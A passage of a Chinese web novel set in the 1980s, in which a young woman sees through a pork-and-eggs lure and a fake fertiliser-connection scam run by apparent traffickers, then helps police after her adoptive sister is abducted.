白老爷子皱着眉,似乎还有些想不通,催促他们赶紧把该做的检查项目都做了,再看看各项指标的情况。 检查结果没那么快能出来,做完检查后俩人就先回家了。 刚出医院没多久,一位拎着竹篮的老太太蹭了过来,拦在他们面前,悄声:“新鲜的鸡蛋,一块钱一斤,买多还能再便宜一点,要么?” 老太太面相柔和,笑眯眯的,看着很有亲和力,虽然冒昧被拦住,柳绵绵也没觉得反感,笑道:“菜场卖一块两毛九呢,您这直接少了将近三毛钱啊?” 老太太:“嗐,菜场那都不知道转几手了,那肯定贵。我这是自家亲戚养的鸡下的,卖一个就算赚一个了,薄利多销,可不就便宜了?” 柳绵绵点点头,想着反正刘婶隔三差五要去买鸡蛋,哪里买不是买,这还便宜好几毛,要不就买一斤。 还没开口,就听见老太太又说:“我那亲戚养了几十只鸡,还有十几头猪,你们也是运气好,正好他今早宰了一头猪,送了些猪肉过来,你们要的话,我给你们算一块五一斤,比肉站便宜三四毛,还不要票。” 别看很多东西都渐渐不用票证了,但目前为止,南城居民买猪肉还是要凭票的,每人每月定量1.5公斤。外头市场上也有偷偷卖的,不要票,但要比肉站的贵五毛到一块钱左右。 这不要票还比肉站便宜的,还真是第一次听说。 柳绵绵眼神微闪,问:“我看您这竹篮里只有鸡蛋呀,猪肉在哪儿呢?” 老太太笑呵呵道:“猪肉哪能直接这样拎着卖呀,抓到要罚钱的,猪肉我放家里了,离这儿不远,走过去几分钟就到了。” 柳绵绵面露迟疑,老太太卯足劲儿推销:“今早刚杀的猪,真是新鲜得不得了,肥的瘦的都有,爱吃什么买什么。下水也有,今天这页猪肝颜色瞧着就好,鲜红鲜红的,猪腰子也有,这东西男同志吃是最好的。猪蹄也有,别看骨头多,炖烂了一嗦就脱骨了,香得咧!” 还别说,柳绵绵都差点被她说饿了。 柳绵绵:“先说鸡蛋吧,这一篮鸡蛋几斤?” 老太太愣了下,回答:“五斤吧。” 柳绵绵:“我们没东西装,要不篮子也算上吧。不过这篮子看着有点旧哈,竹编的手艺也一般般,应该也不值几个钱吧?” 老太太:“……” 这竹篮明明是新买的,手柄上还有点毛糙呢,怎么就看着有点旧了? 犹豫了一下,还是说:“行,这篮子确实不值几个钱,我瞧你这姑娘挺爽快,你要都买了,这篮子就送你了。” 柳绵绵顿时眉开眼笑:“大妈您可真大气,您看这鸡蛋的价格能不能再?” 老太太:“……” 一块钱一斤的鸡蛋,还送一个新的竹篮子,就这还要讲价? 老太太满脸不情愿,又一番讨价还价,最后这一篮鸡蛋以四块五毛钱成交。 收了钱以后,老太太说:“那咱们再去看看猪肉?” 既然是先说鸡蛋,那肯定还有后嘛,这后自然就是猪肉了。 老太太都准备给他们带路了,哪知柳绵绵看了眼手表,说:“哎呀,大妈,时间不早,我们得赶回家吃饭去。回去晚了会挨骂的,算了算了,猪肉先不买了。真是可惜了,本来我还想说买对猪腰子回去给我家这口子补补呢,这么便宜可不太好碰上,真是可惜了。大妈您平时是不是都在这儿呢,要不我改天再来这边找你?” 老太太都懵了:“不是,怎么会来不及呢,几步路的事情,很快的,你买了肉回去,谁还会骂你啊?” 柳绵绵连连摆手:“哎哟,哪里都像您这么和气啊,稍微晚点就指天骂地的。下回,下回我来找您哈!” 拎起那篮鸡蛋,一拽沈维舟,柳绵绵挥着手就走人了。 老太太唉唉唉地喊了半天,也没能把人拦住。 眼看人越走越远,老太太脸一下子就拉了下来,呸地啐了一口,骂道:“狗娘养的骚蹄子,你不买猪肉你早说啊,浪费老娘那么多口水,还讹老娘一篮子鸡蛋。妈的妈的妈的,今天可真是三十年老娘倒绷孩儿,阴沟里翻了船了!” 面相有点凶、身材魁梧的男人阴沉着脸走过来:“人走了?” 老太太又啐了一口:“还把老娘花八块钱买的一篮鸡蛋给讹走了。” 一转手,活生生亏了三块五毛钱。 男人也骂了一声。 人都是爱占便宜的,他们走南闯北好些年,靠着这一招成功过不知道多少次,尤其前些年,猪肉供应紧张的时候,那些大姑娘小媳妇儿的,一听有那么便宜的猪肉,哪个不是颠颠地就跟着去了? 当然,也有心存疑虑不想冒险的,一般这种人既不会买猪肉也不会买鸡蛋。这种警惕性强的人,也不是他们下手的目标。 总而言之,言而总之,他们还是第一次遇见不买猪肉却把鸡蛋给买走的。 这可真是。 两人极度无语,还有些麻爪,这姑娘不按套路出牌啊,这可怎么搞? 另一边柳绵绵和沈维舟已经坐上了公交车。 柳绵绵观察了一下车上的乘客,又看了看车窗外,确定没有可疑人员,才微微松了口气,叹息:“真是人不可貌相啊!”看着多和气的老太太呀,居然不是好人。 “你这么相信自己的判断?”沈维舟看她一眼,“万一真是个普通老太太呢?” “猪肉不要票还卖一块五,你回去问问刘婶,这可能吗?”柳绵绵摸摸自己的脸,怀疑地问,“我是长了一张特别容易被骗的脸吗,为什么她会觉得这么离谱的事情我都会相信呢?” 老太太那些话术,凡是下过反诈APP的,都不可能会相信好吗。 “再说,我像是那种唯利是图、爱贪小便宜的人吗,我像是那种为了一点点蝇头小利,就把自己置于危险境地的人吗?” 沈维舟:“……” 忍不住提醒她:“你买了一篮鸡蛋。” 说到鸡蛋,柳绵绵顿时又笑了,那笑容跟偷了油的老鼠似的,语气也变得轻松了起来:“我猜哈,这一篮鸡蛋她买过来至少得七八块钱。这篮子一看就是新的,把手还毛毛糙糙的呢,竹片新鲜得都能闻见竹子的清香。鸡蛋应该也不止五斤,应该多了一点的。这一来一回,她得倒贴三四块钱。” “这就叫偷鸡不着蚀把米,想忽悠我,大雁来了都得被我忽悠下几根毛好不好。” 柳绵绵乐得不行。 沈维舟:“……” 还挺有自知之明。 不过,沈维舟眯了眯眼,刚才他好像看见那个和朱永齐一起的人了。 第20章 比金子还要铁(修) 先回求知巷吃午饭,下午再去化肥厂。 “哦哟,我就说维舟最近身体挺好的。”刘婶听说了医生的诊断结果,眉开眼笑,“白大夫诊脉很准的,等检查都出来,再请他开点药,没准慢慢就好了。” 中午一向只有他们三人吃饭,通常都会做得简单点,但刘婶今天高兴,做了浇头丰富的面后,又炒了一大盘猪肝。 炒猪肝又香又嫩,非常好吃。 柳绵绵想到那个可疑的老太太,问刘婶:“猪肝不要票很难买到吧?” “一大早就去排队啦,不然哪里买得到哦!外头倒也有人偷偷卖,比肉站贵七八毛,好的肉贵一块也有的。”刘婶感叹了一句,“不知道什么时候才能放开了买。” 以前是手里没钱,肉站也没肉,现在是手里有钱,肉站还是没肉。 “现在农村都放开了养猪养鸡了,等产量上来了,应该就快了。” 也就这几年的事情吧。 柳绵绵安慰完刘婶,扭头看向沈维舟,冲他挑了挑眉:看吧,就说哪有那么便宜的肉。 沈维舟淡淡看她一眼,脸上什么表情也没有。 柳绵绵:啧,这人可真无趣。 柳绵绵心里其实怀疑那个老太太是人贩子,毕竟这套路太像了。 可是没有证据,总不能因为人家鸡蛋和猪肉卖得太便宜,就跑去派出所举报吧?万一人家真是有货源便宜卖呢,做点黑市交易,真不至于就把人举报了。 不过,不能举报,其实可以想办法警示一下。 柳绵绵记得,八九十年代人口贩卖是很猖獗的,有很多妇女被诱骗拐卖到东南沿海,有的被卖给家庭条件不好、娶不上老婆的光棍,有的甚至被卖进一些场所逼良为娼。 柳绵绵把这事记下,准备等空了再仔细想想。 吃完饭柳绵绵准备去化肥厂,她是想一个人去的,但沈维舟非得要一起。 早上折腾了一圈,她这个身体健康的人都觉得有点累,沈维舟这身体,柳绵绵真有点怕他吃不消。但沈维舟这个人,显然不是别人拒绝他就会听的。 别看他病恹恹的,但有时候他身上的气势,比他身经百战的亲爷爷,似乎还有过之而无不及。 “你好奇心还挺重。” 柳绵绵实在想不出来沈维舟一定要跟着去的理由,想来想去,也只有是实在无聊想去看看热闹了。毕竟养父母家到底有没有写过信、寄过东西,等见了余国梁就知道了。 沈维舟看她一眼,想着有些事情她不知道也好,免得白白担惊受怕,于是没吭声,默认了。 柳绵绵心说,冰山原来是个热衷八卦的闷骚冰山。 不过别说沈维舟好奇,其实她自己也挺好奇。 原主的记忆又多又乱,她努力捋了又捋,然后就从中发现了一些疑点。 余家一共三个孩子,上头两个哥哥,原主是老幺。这年头农村难免都有些重男轻女,但余家因为前面两个都是儿子,对最小的女儿也是非常疼爱的。 这从原主能一直读书到高中毕业就能看出来,甚至原主如果能考上大学,养父母也说过,是愿意一直供着她读书的。 所以怎么看余家人都不像是会主动和原主断绝关系的。 至于换亲的事,二哥余国栋确实是处了一个对象,叫林山梅,林山梅上头也确实还有个没结婚的哥哥,但余家人其实从来没有明确和原主提过换亲的事。 这件事是二婶杨巧巧私下里和原主说的。 杨巧巧生性木讷老实,平时对原主也不错,何况原主是不是换亲,跟他们家也没什么关系,原主认为杨巧巧不可能也没必要骗她,所以就相信了。 原主生怕被余家人扣住,也没和他们核实,正好亲生父母找到她,于是她着急忙慌地就跟着来了南城。 之后余家人没有联系她,原主也觉得正常,更是认为余家人是做贼心虚。 但如果事实并非如此呢? 都说化肥厂门口排长队,等到了化肥厂门口才知道,这长队是真的长啊!一眼望去,密密麻麻的都是人头。 想在这么多人里面找到余国梁,还真不是什么容易的事,何况柳绵绵只在原主的记忆中见过余国梁。 没办法,只能慢慢辨认过去。 这些人应该都不是排了一天两天了,看上去都有些憔悴,尤其越排在前面的越是嘴唇发白、面带菜色。 照理前进乡的人来得不久,应该不会排太前面,但柳绵绵一路找了很久都没有看见一个眼熟的人。一直快走到厂门口了,才看到一个眼熟的人,不过不是余国梁,是沈维鸿。 沈维鸿和一个穿西装的中年男人走在一起,两人有说有笑地从侧门进了化肥厂,挤在门口的人一拥而上想要跟着往里冲,还有人伸手去拽那个穿西装的男人,不过都被守在一旁的保卫科的人制止住了。 乓啷一声,门关了回去。 人群中响起一阵失望的叹息。 “绵绵?” 柳绵绵正在想沈维鸿跑化肥厂来做什么,人群中突然挤出个头发乱蓬蓬、衣服脏兮兮的男人,等男人走到近前,柳绵绵辨认半天,才确定这人就是大哥余国梁。 幸好余国梁自己找过来了,不然让她认,就算是看见人她也认不出来啊! “怎么,不认识大哥了?”国字脸,长得浓眉大眼的余国梁憨憨一笑,拿手背擦了一下额头的汗,说,“这几天都轮着在这儿排队呢,一直站着太累了,就随便坐地上了,也没时间洗洗,看着挺脏吧?” 柳绵绵耿直点头:“是挺脏的。” 余国梁也不恼,家里人从小就惯着老幺,老幺的脾气一向不算好,他早习惯了。 他说:“前面家里寄的信和东西收到了吗,你也不回个信,爸妈心里一直惦记着呢。前阵子老关他表叔回乡里,说起你快要结婚了,可把爸妈急坏了,左等右等,也没等到你来个信。”老关的表叔在南城军工厂工作,他老家是前进乡的。 余国梁叹了口气:“本来老两口想自己过来找你的,哪想爸上山的时候摔了一跤,暂时动不了了,白天黑夜的还得妈在旁边伺候着。正好乡里要过来买化肥,我就赶紧争取了机会,想着过来瞧瞧你到底过得怎么样。” 两人边走边说,退到了人群外围。 柳绵绵问:“爸摔哪儿了,没事吧?” 余国梁有些诧异,老幺不止脾气不太好,她还有点只顾自己的,也正因此,她一声不吭回了城,之后也没再和家里联系,家里人伤心归伤心,其实并不觉得奇怪。 倒是今天,她第一句话就问老头子摔哪儿了,余国梁才觉得奇怪。 仔细打量两眼,余国梁发现自己这个幺妹确实和以前不太一样,整个人看着洋气体面了许多,漂亮了,也和气了。 余国梁心里感慨幺妹真是长大了:“爸没事,左腿骨折,医生说要多休养,伤筋动骨一百天嘛。” 看了眼站在不远处的沈维舟,余国梁放低音量问:“那个是谁,不会他就是你那个娃娃亲对象吧?”见过蒋红梅,他知道幺妹已经结婚了,嫁的是家里老人早年定下的娃娃亲。 柳绵绵回头看一眼沈维舟,点头:“啊。” 余国梁皱了皱眉,继续小声说:“看着脾气不太好的样子哦,你俩一起,不会打起来吧?不过瞧着瘦巴巴的,打起来说不准也打不过你。” 柳绵绵:“……” 不愧是看着原主长大的,这位大哥对原主的坏脾气还挺了解。 不远处,由于听力太好而一字不落都听见了的沈维舟忍不住抽了抽嘴角。 余国梁明显是个没什么心眼的人,柳绵绵和他东拉西扯地说了一会儿,就把家里寄过几次信、寄过几次东西、什么时间寄的、寄的都是些什么给套了出来。 柳绵绵发现,余国梁说的那些东西,原主其实是见过的。 比如余家寄了晒干的菌子,同时柳家的餐桌上时常出现野山菌,比如余家寄了腊肉,同时柳家吃过好几次腊肉炖笋干,比如余家寄了自己织的粗布,同时柳家换了粗布的抹布…… 行吧。 真相如何已经一目了然。 至于换亲。 “你倒是跑你二哥前头去了,他和林山梅准备等下半年秋收完了再结婚。本来是想上半年就结的,可林家那头不肯,说林山梅不能早过她哥去。其实哪有所谓,不过他们家讲究,我们肯定也得尊重人家。”余国梁说,“林山梅她哥下个月结婚,那时候麦子收了水稻插完秧了地里的活儿没那么忙。” 他看了眼柳绵绵:“你二哥结婚,你总该回去的吧?” 柳绵绵点点头,没提换亲的事:“回去呀。” 知道怎么回事就行了,其他的,不管是柳家人还是杨巧巧,回头她都会跟他们掰扯掰扯的。 兄妹俩正说着话,一个圆脸凸肚的胖子凑了过来,这人笑眯眯的,看着挺和气的,开口先喊了声“大哥”、“妹子”,一副自来熟的样子,随后压低了声音,问:“两位是不是来买化肥的?” 这就是句废话,这化肥厂门口,哪个不是来买化肥的,不买化肥谁闲着没事跑这里来看人挤人? 胖子当然也知道这是废话,所以不等余国梁回答,又说:“兄弟,我有门路,可以帮你们弄到化肥。” 余国梁瞪大了双眼:“真的?” 胖子胸脯拍得嘭嘭响:“当然是真的,我骗你们做什么?之前进厂子的两个人,其中一个穿西装的你们认识吧,化肥厂销售科的胡科长,化肥销售指标可都捏在他的手里,他说给谁就给谁,他说给谁多少就给谁多少。” 余国梁在化肥厂门口也蹲了好几天了,这位大名鼎鼎的胡科长他自然是认识的。 听胖子这么说,他眼睛都亮了:“大哥你认识胡科长?” 胖子挥挥手,表示这都是不值一提的小事:“我何止认识,我和他是从小一起拉尿和泥的发小,我们的关系,那是比金子都还要铁!” 他侧身凑到余国梁面前,神神秘秘道:“之前和他一起进去的那个年轻人看见没,那是我二舅妈的亲侄子,我帮着搭的线,不然他一个嘴上没毛的小伙子,人胡科长能理他吗?都是看在我的面子上!我的!” 柳绵绵:“……” 余国梁激动了:“大哥,您面子可真大啊!” 柳绵绵:“……………………” 真是一个敢说,一个敢信。 胖子拍拍余国梁的肩膀,得意道:“那是,我和老胡多少年的交情,不是我吹牛,在他那里,他们厂长的话都没我的话好使。我这个人呐,性情中人,做事讲究个随心所欲。我今天也是闲着没事过来逛逛,这不,一眼看见兄弟你就觉得特别投缘。我可不是个爱管闲事的人,我是和兄弟你投缘,才想着帮帮你。” “兄弟,我看你这模样,应该排了很久的队了吧,瞧瞧你这蓬头垢面的,看着就让人心疼,兄弟,我是真看着不忍心呐。我得帮帮你,你们需要多少化肥,尽管跟我说,我保证给你搞定。” 一通忽悠把余国梁忽悠得差点找不着北。 不过余国梁也不是完全没有脑子的,他问:“那这个价格?” 排队这几天,余国梁也听说了,有人搭上胡科长的线,请他吃什么西餐,应该还给了一些别的什么好处,弄到了化肥。 他心里怀疑这个胖子是给胡科长拉皮条的。 胖子摆摆手:“兄弟,咱们什么关系,这你还信不过我?放心,价格绝对不会比其他人贵,甚至还可以比他们稍微再便宜一点。毕竟老胡这个销售科的科长,手里还是有一点权限的。”他给余国梁使了一个“你懂的”的眼神。 柳绵绵在心里哇哦了一声,这话术听着怎么有点耳熟? 余国梁皱起眉头,他这人没什么心眼,有点死脑筋,不过也正因为死脑筋,他不太相信平白无故占便宜的事。 余国梁稍微冷静了一点:“这样啊,那我要不先和乡里的干部商量一下。”他就是个村里的会计,这回也是被找来帮忙的。 胖子眼睛微微一眯,阻止道:“嗐,折扣的事情,还不好说,得问过老胡才知道,眼下这种情况,说不准他也为难。” 他迅速调整了说法,见余国梁表情微微一松,于是趁热打铁:“这件事除了你和我,哦,对了,还有这位妹子,其他人可一个也不能再说了。你看看这门口,这么多的人排队,他们要知道你有门路能插队买到化肥,还不得把你生吞活剥了?所以说,咱们要低调,别声张,闷声干大事,闷声发大财,你说对不对?” 余国梁点点头。 胖子于是说:“这里人多眼杂的,不是办事的地方,你和这位妹子一起,咱们去个僻静人少的地方,好好商量一下。” 余国梁再度犹豫,说一千道一万,这人他们其实也不认识,谁知道对方要带他们去哪里? 胖子眼底闪过一丝不耐烦,不过还是耐着性子循循善诱:“兄弟,你这还是不相信我啊,你这样可伤我的心,我是真把你当兄弟,才跟你这么掏心掏肺。再说你们两个人,我一个人,我也不能把你们怎么吧?你说说你,就是为人太谨慎了。不过我喜欢,兄弟,我一看你就是能干大事的人!” 余国梁生平第一次被人这么夸,黝黑的脸上都泛起了红晕。 “那要不,要不我们?”他看向柳绵绵。 柳绵绵看一眼两人的身后,微微一笑,说:“要不咱们一起去派出所走一趟吧?” 胖子脸色一变,连头都没回,拔腿就跑,不过没等他跑出去几步,就被人从身后扑倒了。 早在他说沈维鸿是他二舅妈的亲侄子时,沈维舟就已经去化肥厂保卫科喊人了。 这时候国营厂的保卫科兼具一部分公安的职能,保卫科的同志大部分都是退伍军人,体能优越,装备精良,抓一个胖子简直轻轻松松。 “我就是闲着没事跟人吹吹牛,这也犯法吗?!我不去派出所,我没犯事儿,我去什么派出所,你们放开我,我不吹牛了还不行吗?”胖子理直气壮地狡辩。 “你没犯事你听见派出所跑什么?”保卫科的同志也不是吃素的,这人听见派出所就跑,这明显有问题。 胖子暗暗咬牙,都怪那臭娘们儿,突然说什么派出所,他心里一慌,脑子还没反应过来呢,脚先跑了。 保卫科的同志押着胖子去派出所,柳绵绵他们也跟着一起。 一路上胖子都在给自己找借口,穿插着还想和余国梁打感情牌,余国梁这回学乖了,一声都没应他。 这人一听派出所就跑,谁都能看出来有问题了。 一路到了最近的城西所,一群人刚进去,就见办公室里面乱糟糟的,两个披头散发的女人坐那儿哭,年纪大点的声音都哭哑了,凄楚地哀求:“同志,一定要救我女儿,一定要把我女儿救回来啊,她那么年轻,那么漂亮,那么能干,那么懂事,她那么好的人,那些人为什么要害她啊!” 柳绵绵看着这人的背影觉得有些眼熟,只是她声音哭哑了,一时之间倒是听不出究竟是谁。 直到这人微微侧过头。 竟然是丁明霞。 她旁边的人,是应晓芬。 这婆媳俩怎么会在这儿? 丁明霞嘴里又年轻又漂亮又能干又懂事人又好的女儿……只能是柳锦诗了。 柳锦诗出事了?魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 20-30 第21章 柳锦诗被掳(一更)…… 回到几小时前。 下班铃声响起,柳锦诗收拾好桌上的文稿,和办公室的同事打了个招呼,脚步轻快地往外走。 一路往军工厂家属院走,路上碰见不少厂里的同事、家属,大部分人柳锦诗都认识,她笑着和对方打招呼寒暄,再礼貌道别。 错身而过后,听见还没走远的人说:“柳家这个女儿养得真好,善良大方脾气好。” 或是:“到底是咱们军工厂家属院里长大的,多礼貌多精神的姑娘,不像那个亲生的,没本事还脾气差,嘴巴跟被锯了似的,碰见人也不理不睬的。” 又或者:“不怪丁明霞不疼那个亲生的,一个珍珠一个鱼目,要我我也更喜欢珍珠啊,能给家里争光添彩的,和净给家里惹事的,哪个更招人疼,这不是一目了然?” 柳锦诗翘了翘嘴角。 知道自己不是柳家亲生的以后,曾经有一段时间她十分彷徨、不安,总觉得自己成了家里多余的那个人,也很怕父母让她回自己亲生父母家。 柳绵绵来南城以后她就不怕了。 在母亲丁明霞的影响下,柳锦诗从小耳濡目染,非常注重自己的名声,人前总是刻意营造乖巧懂事的形象,在家属院里人缘也非常好。 柳绵绵则恰恰相反。 她尖锐、敏感,脾气也坏,怕家属院的人看不起,她从来不主动和人打招呼寒暄,没来多久就在家属院里立了个不讨喜的形象。 而且她脑子还不太灵光,随便挑拨两句,她就跑去跟人骂架了,短短时间,在家属院里得罪了不少人。 也是因此,丁明霞才迫不及待想把人嫁出去。 原本一切都好好的,只要柳绵绵嫁出去,她们就能井水不犯河水,各过各的生活。 哪曾想柳锦诗意外发现自己喜欢的南大高材生竟然是沈维舟的堂弟,而柳绵绵还当着沈维鸿的面,叫破了她的心事。 柳锦诗简直恨死柳绵绵了。 她其实并不是什么人淡如菊、善良大度的人,那都是表现给别人看的。 就像母亲丁明霞,柳锦诗作为家里和丁明霞关系最密切的女儿,她从小就知道,人前人后的妈妈是不一样的。 人前可以表现得善良大度,人后也能使一些隐秘的手段,该争的争,该报复的报复。 在柳锦诗看来,撺掇朱永齐去闹事,不过是小小的惩戒报复而已。 如果不是柳绵绵自己和朱永齐勾勾搭搭,别人也没机会给她泼脏水不是? 真出什么事,柳绵绵要怪也该怪她自己。 就是朱永齐也是个孬的,这么长时间过去,也没听说他有什么行动。 柳锦诗正在心里吐槽朱永齐个孬货,朱永齐就突然冒了出来。 他穿着一条裤腿都要拖到地上的喇叭裤,过耳的头发烫得乱蓬蓬的,一只手插在裤兜里,一只手拦在柳锦诗身前,吊儿郎当地说:“柳干事,聊聊?” 柳锦诗嫌恶地瞪着他:“聊什么,我们没什么好聊的,我挺忙的。” 像朱永齐这样的人,是不值得她好声好气维持形象的,不过他们现在就在家属院门口,柳锦诗倒也没有表现得太明显。 “你上回让我去求知巷,哦,还有军区大院去讨说法,我思来想去,这难度有点大啊,这不就又来讨教你了。” 朱永齐盯着柳锦诗,嘲讽地笑了笑。这娘们儿是真会装啊,明明一肚子坏水,却老是一副善良大方爽朗明媚的样子。 柳锦诗皱眉,坚决否认:“你胡说什么,我什么时候说过让你去讨说法?” 朱永齐嗤笑了声:“行,就算你没说过,大家邻里邻居的,我有事想请教请教你还不行吗?其实我也可以去请教别人的,我看你隔壁的蒋红梅和柳绵绵关系就不错,早上柳绵绵还来找她呢,我去请教请教她,没准人家也能给我说个三四五六。” “她来找蒋红梅?” 柳锦诗觉得奇怪,柳绵绵和蒋红梅以前可是互相看不上眼,都懒得搭理对方的。 自从上次柳绵绵回家要彩礼,柳锦诗就发现了,柳绵绵好像和以前不一样了。 柳锦诗非常好奇柳绵绵找蒋红梅做什么,以己度人,她怀疑柳绵绵要对付自己,于是旁敲侧击想从朱永齐嘴里探听消息。 偏偏朱永齐是个滑不溜手的,嘴里似是而非地说着一些让柳锦诗怀疑的话,还表示如果柳锦诗能帮他完善一下“计划”,他就去求知巷和军区大院好好向沈家人讨讨说法,最后终于说动柳锦诗和他一起到附近的小巷子里“详谈”。 派出所里。 看到柳绵绵,丁明霞怔了一下,随即就站了起来,拿手背擦了擦泪痕满布的脸,冲到柳绵绵面前,呜咽着说:“绵绵,锦诗不见了,锦诗被人抓走了!呜呜呜,我们做好午饭,左等右等没见人来,你爸和你哥去上班,我和你嫂子就去找人,结果找了半天也没找到人,后面,呜呜呜,后面公安就找过来说人被掳走了。” 应晓芬补充说:“附近有个孩子亲眼看见了,公安排查到家属院,刚巧我们就在门口碰上了。” 附近巷子的小孩玩捉迷藏,有个小孩特别淘气,躲到了巷子底的大榕树上。榕树枝丫茂密,小孩子躲在上面,下面的人根本发现不了。 小孩猫在一根大树杈上,等小伙伴来抓他都快等睡着了,突然听见树下传来杂沓的脚步声,他以为是小伙伴来找人,更加躲得牢牢的,可心里又好奇,于是悄悄扒开枝叶看了一眼。 这一看可不得了,他看见一个长相特别凶的男人,拿毛巾捂住了一个大姐姐的嘴巴。大姐姐一开始还在挣扎,没多久,她就不动了。那个男人把她套进麻袋里,放到一旁的架子车上,又往上面堆了些稻草,然后若无其事地就把架子车拉走了。 小孩缩在树上,吓得整个人筛糠似的直发抖,捂着嘴不敢叫也不敢哭,没一会儿,裤子就滴滴答答地尿湿了。 他吓得腿软,也不知道过了多久,才小心翼翼地从树上下来,跑回家以后就把事情跟大人说了。 他家大人也是吓得半死,幸亏这孩子机灵,但凡当时他发出点声音,或者是弄出点动静,他这小命多半也是悬了。 大人们商量了一下,也不敢大张旗鼓的,怕被人报复,给孩子换了身衣裳,假装出门买糖果,实际却是跑到派出所报案。 公安马上兵分两路,一路去排查追踪那个拉架子车的男人,一路则是根据那个孩子提供的外貌特征排查受害人。 丁明霞上前抓住柳绵绵的手:“绵绵,你帮帮妈,帮帮锦诗,你让女婿找他爷爷帮帮忙吧,让部队的人去找,部队那么多人呢,他们还有那么多战友呢,人多力量大,肯定比公安靠谱。” 这话说的,过来接收胖子的赵公安忍不住都想翻白眼,不过考虑到她是受害人家属,情急之下乱说话也能理解,还是忍了。 只是提醒道:“国家各机关各部门都是各司其职的,你们这个事情归公安管,找部队没用。” 丁明霞皱眉反驳:“没试过怎么就知道没用?你知道我女婿的爷爷是谁吗,我女婿爷爷住小红楼的,你说有用没用?” 她这话一出来,其他人还没什么反应,被化肥厂保卫科同志押着的胖子整个人抖了一下,脸色一下子变得惨白惨白的。 柳绵绵看了眼胖子,扭头正色对丁明霞说:“丁明霞同志,你这种特权思想非常危险。就像这位公安同志说的,各机关各部门各司其职,可不是由着谁的性子乱来的,别说住小红楼,就是住天上,也一样。” 她语重心长:“你要相信公安同志。” 丁明霞一下甩开她的手,恨恨瞪着她:“冠冕堂皇的话谁不会说,你不愿意帮锦诗就直说。你太狠心了,就算,就算你埋怨我偏心锦诗,可现在是人命关天的事情啊,你竟然也能见死不救,你太狠心,太狠心了!” 真是好言难劝该死的鬼。 柳绵绵冷笑:“所以你承认自己偏心柳锦诗?” 丁明霞恨恨道:“你这种自私自利的白眼狼,你有什么资格埋怨我偏心锦诗?” 柳绵绵点点头:“那你又有什么立场来对我要求这要求那呢?” 说完她没再理会丁明霞,转头向赵公安:“我们是不是需要做个笔录?” 吃了一口大瓜的赵公安忙点头:“对的,你们跟我过来。” 化肥厂保卫科的同志推了一把胖子,胖子如梦初醒,嘴里又嚷嚷了起来:“我冤枉啊,我什么都没干,就是吹了个牛而已,你们把我抓过来做什么?公安同志,他们乱抓人啊,你一定要为我做主啊,我真的什么也没干啊——” 保卫科同志踢了他一脚:“你冤枉你跑什么,你狐狸尾巴都掉出来了,你还喊冤,你给我老实点!” 押着人进了走廊里面的一个房间。 柳绵绵慢下脚步,喊了赵公安一声:“公安同志,有个情况,我想单独向您反映一下。” 赵公安顿住脚步,转身走向另外一个房间:“我姓赵,我们在这里谈吧。” 他看向跟着进门的沈维舟,问柳绵绵:“你单独向我反映,还是你们?” 柳绵绵:“……我们一起吧。” 赵公安点点头,把门关上:“那行,坐下谈。” 这是个询问室,刚好有三把椅子。柳绵绵拉出其中一把拖到旁边,以免坐下来以后真像被审问的犯人。她走得有点累了,一屁股坐下先歇了口气,才说:“我怀疑我们送来的这个胖子,是人贩子团伙的,甚至有可能,和掳走柳锦诗的是一伙儿的。” 刚刚坐下来的赵公安一下又站了起来:“什么?!” 第22章 你哪里会落单(二更修)…… 柳绵绵之前觉得胖子怪怪的,她其实怀疑胖子是搞诈骗的,趁着大家买不到化肥的时候,用自己有人脉门路的说法忽悠人骗钱。 骗子嘛,从古至今,哪个年代都不缺的。 听了柳锦诗被掳走的消息后,柳绵绵忽然发现自己的思路还是太狭窄了。 她回忆了下,想起当时胖子说的是“你和这个妹子一起,咱们去个僻静人少的地方,好好商量一下”。 乍一听这句话好像没什么,挺正常的,但是如果代入骗子的身份,柳绵绵觉得,如果她是骗子,想忽悠一个人掏钱,那么她最不希望的就是,俩人做交易的时候,有第三者在场。 毕竟旁观者清,万一这个第三者脑子清楚,发现什么不对,极力阻止交易呢? 怎么看也是一个人比两个人更好忽悠。 胖子这句话明明可以是:咱们去个僻静人少的地方,好好商量一下。多出来的“你和这个妹子一起”,仔细想想,其实非常的生硬突兀。 那么,假如胖子是人贩子,从一开始他的目标就是自己呢?这么一想,胖子的言行就变得很好理解了。 他敢那么胡吹一通而不怕自己被拆穿,无非是他根本就没真想和余国梁做什么化肥交易,所以压根不怕穿帮。而他非得邀请自己一起去僻静的地方,也可能到了僻静地方后,她和余国梁就会像柳锦诗一样被放倒了。 顺着这个思路,柳绵绵又开始反省,如果胖子真是人贩子,那么他为什么会盯上自己,又是什么时候开始盯上自己的呢? 然后她就想到了医院门口卖鸡蛋猪肉的老太太。 假如老太太是人贩子,是不是从那时候起,他们就盯上她了?所以,这些人贩子一直在跟踪她吗,猪肉没把她骗上钩,就换了化肥来骗她? 如果真是这样,柳绵绵感觉头皮发麻,不寒而栗。 柳绵绵把这两件事,还有自己的怀疑、猜测都对赵公安讲了,然后说:“我的猜测也许不一定对,但我确实感觉这两件事太过巧合,虽然没有证据,但都有明显的疑点。我想总不能一下子出现了好几个人贩子团伙,而且作案方式都是想把人往僻静处引,所以我才怀疑这些人是不是都是一伙儿的。” 如果这些人都是一伙儿的,那么从胖子这里入手,没准也能查到掳走柳锦诗都那伙人。 她虽然和柳锦诗不太对付,但这只是个人的恩怨喜恶,并不代表她会希望柳锦诗遇到人贩子,她也希望公安能尽快解救柳锦诗。 赵公安肃着脸点点头。 确实都没有明确证据,但确实听上去都很可疑。 其实三个事件并非全无联系,至少,柳绵绵和柳锦诗是有关系的,如果真如柳绵绵推测的,人贩子也盯上了她……嗯,同时盯上了她们,也许人贩子中有人是认识她们的? 赵公安正理着思路,就听见从进门后一直一声不吭的沈维舟突然开口了:“那个掳走柳锦诗的人,我可能见过。” 赵公安心不在焉地“嗯”了一声,过了好几秒,才猛地反应过来:“你说什么?!” 不是,这俩人怎么回事,怎么总是如此平静地扔出如此劲爆的消息? 沈维舟无视赵公安控诉的眼神,声调一如既往的平稳:“上午我们去过军工厂家属院,离开的时候,我看到家属院一位叫朱永齐的男同志,和一个长相凶狠的人一起,我感觉他们似乎在窥视我们,只是回头去看,他们已经匆匆走了。” 赵公安一下子振奋了:“长相凶狠的人?” 没错,报案的小孩也说,那个人长得特别凶。 他们之前还觉得这不算什么特别明显的特征,毕竟对于小孩子来说,干坏事的人应该都是很凶的。 哪里想到这竟然真是对方的外貌特征。 